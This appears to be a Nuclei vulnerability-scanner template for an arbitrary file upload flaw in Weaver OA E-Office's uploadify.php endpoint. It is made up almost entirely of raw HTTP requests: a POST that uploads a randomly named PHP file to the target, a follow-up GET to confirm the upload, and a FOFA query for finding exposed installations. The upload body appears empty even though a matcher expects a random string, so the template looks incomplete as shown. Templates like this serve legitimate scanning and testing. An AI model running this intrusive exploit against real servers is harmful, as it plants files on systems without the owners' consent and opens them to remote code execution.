id: weaver-uploadify-file-upload info: name: OA E-Office Uploadify - Arbitrary File Upload author: SleepingBag945 severity: critical description: OA E-Office Uploadify is vulnerable to arbitrary file upload. reference: - https://github.com/w-digital-scanner/w9scan/blob/master/plugins/weaver_oa/2158.py metadata: verified: true max-request: 3 fofa-query: app="泛微-EOffice" tags: weaver,e-office,oa,instrusive,rce,intrusive variables: filename: "{{to_lower(rand_base(5))}}" string: "{{randstr}}" http: - raw: - | GET /general/weibo/javascript/uploadify/uploadify.php HTTP/1.1 Host: {{Hostname}} - | POST /general/weibo/javascript/uploadify/uploadify.php HTTP/1.1 Host: {{Hostname}} User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36 Accept: */* Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryjetvpuye Accept-Encoding: gzip ------WebKitFormBoundaryjetvpuye Content-Disposition: form-data; name="Filedata"; filename="{{filename}}.php" Content-Type: application/octet-stream ------WebKitFormBoundaryjetvpuye-- - | GET /attachment/personal/_temp.php HTTP/1.1 Host: {{Hostname}} matchers-condition: and matchers: - type: dsl dsl: - "status_code_1 == 200" - "contains(body_2, 'imageSrc') && contains(body_2, 'height')" - "status_code_3 == 200 && contains(body_3,'{{randstr}}')" condition: and # digest: 4b0a00483046022100b9ada8f5c9c7c9375352c42246f9fb09f686f69dd499c02fe7b5ebb77c3d48d9022100e417a1341b83b7240f1c5a0bf814d5b9931112064dc0317b19fd6f0e2647a6c6:922c64590222798bb761d5b6d8e72950